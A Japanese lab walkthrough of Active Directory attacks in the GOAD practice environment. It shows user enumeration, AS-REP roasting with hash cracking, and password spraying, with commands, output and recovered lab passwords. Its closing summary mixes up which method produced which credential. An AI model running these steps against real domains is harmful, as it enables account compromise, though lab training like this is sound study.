game-of-active-directoryGOAD-part-1でいくつかの一般的な設定とポート情報の収集を行った後、第二部の内容を学び、ユーザー情報の収集を行い、いくつかの資格情報を収集してみます。
vagrant upでスリープ中のマシンを起動
CME 列挙#
DC02:192.168.56.11
cme smb 192.168.56.11 --users
Samwell Tarly ユーザーには、Password : Heartsbane というヒントがあります。
ドメインパスワードポリシーを取得
crackmapexec smb 192.168.56.11 --pass-pol
パスワードポリシーを確認すると、5 分以内に 5 回ログインに失敗すると、5 分間ロックされます。
enum4linux 列挙#
enum4linux 192.168.56.11
enum4linux も cme と同様に、ユーザー情報を列挙できます。
パスワードポリシー
ドメイングループのメンバーも列挙できます。
rpc 呼び出し#
匿名リストは、winterfell というデバイス(IP アドレスは 192.168.56.11)上でリモートプロシージャコールを実行することで実現されます。同様に、rpcclient ツールを使用して直接この操作を行うこともできます。
$ rpcclient -U "NORTH\\" 192.168.56.11 -N
rpcclient $> enumdomusers
user:[Guest] rid:[0x1f5]
user:[arya.stark] rid:[0x456]
user:[sansa.stark] rid:[0x45a]
user:[brandon.stark] rid:[0x45b]
user:[rickon.stark] rid:[0x45c]
user:[hodor] rid:[0x45d]
user:[jon.snow] rid:[0x45e]
user:[samwell.tarly] rid:[0x45f]
user:[jeor.mormont] rid:[0x460]
user:[sql_svc] rid:[0x461]
rpcclient $> enumdomgroups
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[DnsUpdateProxy] rid:[0x44f]
group:[Stark] rid:[0x452]
group:[Night Watch] rid:[0x453]
group:[Mormont] rid:[0x454]
rpcclient $>
すべてのドメインユーザーを取得
# NORTHドメインのDomain Usersグループのメンバーをリストし、IPアドレス192.168.56.11に接続し、匿名ユーザーとしてログインします。
net rpc group members 'Domain Users' -W 'NORTH' -I '192.168.56.11' -U '%'
匿名セッションが許可されていない場合、DC の匿名セッションを列挙#
Winterfell ドメインコントローラーは匿名接続を許可しており、これがドメインユーザーとグループを列挙できる理由です。しかし、今日ではこのような構成はほとんど見られません。(逆に、ユーザーの説明にパスワードが含まれているケースは非常に一般的です。)
我々は依然としてブルートフォース列挙を通じて有効なユーザーを列挙できます。
1、辞書を作成
HBO からダウンロードしたものです。
# 現在このコマンドはダウンロードできません
curl -s https://www.hbo.com/game-of-thrones/cast-and-crew | grep 'href="/game-of-thrones/cast-and-crew/'| grep -o 'aria-label="[^"]*"' | cut -d '"' -f 2 | awk '{if($2 == "") {print tolower($1)} else {print tolower($1) "." tolower($2);} }' > got_users.txt
以下の辞書が得られます。
robert.baratheon
tyrion.lannister
cersei.lannister
catelyn.stark
jaime.lannister
daenerys.targaryen
viserys.targaryen
jon.snow
robb.stark
sansa.stark
arya.stark
bran.stark
rickon.stark
joffrey.baratheon
jorah.mormont
theon.greyjoy
samwell.tarly
renly.baratheon
ros
jeor.mormont
gendry
lysa.arryn
robin.arryn
bronn
grand.maester
varys
loras.tyrell
shae
benjen.stark
barristan.selmy
khal.drogo
hodor
lancel.lannister
maester.luwin
alliser.thorne
osha
maester.aemon
talisa.stark
brienne.of
davos.seaworth
tywin.lannister
stannis.baratheon
margaery.tyrell
ygritte
balon.greyjoy
roose.bolton
gilly
podrick.payne
melisandre
yara.greyjoy
jaqen.h’ghar
grey.worm
beric.dondarrion
missandei
mance.rayder
tormund
ramsay.snow
olenna.tyrell
thoros.of
orell
qyburn
brynden.tully
tommen.baratheon
daario.naharis
oberyn.martell
myrcella.baratheon
obara.sand
nym.sand
tyene.sand
high.sparrow
trystane.martell
doran.martell
euron.greyjoy
lady.crane
high.priestess
randyll.tarly
izembaro
brother.ray
archmaester.ebrose
このユーザー辞書を使用して、meereen.essos.local
ドメインコントローラーとkingslanding.sevenkingdoms.local
で試してみましょう。
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='sevenkingdoms.local',userdb=got_users.txt" 192.168.56.10
sevenkingdoms.local で 7 人の有効なユーザーが得られました。
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='essos.local',userdb=got_users.txt" 192.168.56.12
essos.local で 5 人の有効なユーザーが見つかりました。
nmapのページでは、さまざまな可能性のあるユーザー名を試して有効なユーザー名を特定し、Kerberos サービスにクエリを実行します。要求されたユーザー名が存在しない場合、サーバーは Kerberos エラーコードKRB5KDC_ERR_C_PRINCIPAL_UNKNOWN
を返し、そのユーザー名が無効であることがわかります。ユーザー名が有効な場合、サーバーは AS-REP 応答を通じて TGT を送信するか、エラーKRB5KDC_ERR_PREAUTH_REQUIRED
を返し、ユーザーが事前認証を必要とすることを示します。
全体として、ユーザーパスワードをブルートフォース攻撃する際、badpwdcount の数値は上昇しません(crackmapexec で badpwdcount の数値は見えません)。
smb 共有#
smb 共有を確認します。
匿名共有を探します。
cme smb 192.168.56.10-23 -u 'a' -p '' --shares
読み取りおよび書き込み操作が可能な匿名共有リソースがいくつか見つかりました。
現在ユーザーはいますが、資格情報はありません#
現在、ユーザーリストを持っているので、次のステップは彼らのパスワードを取得しようとすることです。
ASREP - ロースティング#
以前に見つけたユーザー名を含む users.txt ファイルを作成しました。
sql_svc
jeor.mormont
samwell.tarly
jon.snow
hodor
rickon.stark
brandon.stark
sansa.stark
robb.stark
catelyn.stark
eddard.stark
arya.stark
krbtgt
vagrant
Guest
Administrator
今、impacket ツールを使用してすべてのユーザーに AS-REP 攻撃を実行してみます。
GetNPUsers.py north.sevenkingdoms.local/ -no-pass -usersfile users.txt
brandon.stark アカウントのアクセス権を取得しました。ユーザーが Kerberos 事前認証メカニズムを有効にしていないため、これを解読してみます。
hashcat -m 18200 hashs.txt rockyou.txt
現在、2 つのアカウントのパスワードが得られました。
brandon.stark:iseedeadpeople
Samwell Tarly:Heartsbane
パスワードスプレー#
従来のユーザー名とパスワードの検証テストを行うことができます。
crackmapexec smb 192.168.56.11 -u user.txt -p user.txt --no-bruteforce
sprayhoundを使用できます。
sprayhound をインストールします。
sudo apt-get install libsasl2-dev python3-dev libldap2-dev libssl-dev
git clone https://github.com/Hackndo/sprayhound.git
cd sprayhound
python3 setup.py install
sprayhound -U user.txt -d north.sevenkingdoms.local -dc 192.168.56.11 --lower
有効なユーザーの身分を使用して、アカウントロックの問題を回避することを試みることができます(-t オプションを使用して残りの試行回数を設定します)。
sprayhound -U user.txt -d north.sevenkingdoms.local -dc 192.168.56.11 -lu hodor -lp hodor --lower -t 2
現在、次の 3 組の資格情報が得られました。
- brandon.stark(ユーザー説明から取得)
- Samwell Tarly(asreproasting から取得)
- hodor(パスワードスプレーから取得)
この章は終了です。vagrant suspend
を使用して仮想マシンを一時停止します。仮想環境の/GOAD/ad/GOAD/providers/virtualbox
で vagrant を実行する必要があります。
参考:
https://mayfly277.github.io/posts/GOADv2-pwning-part2/
カバー画像は:https://wallhaven.cc/w/3lj6z9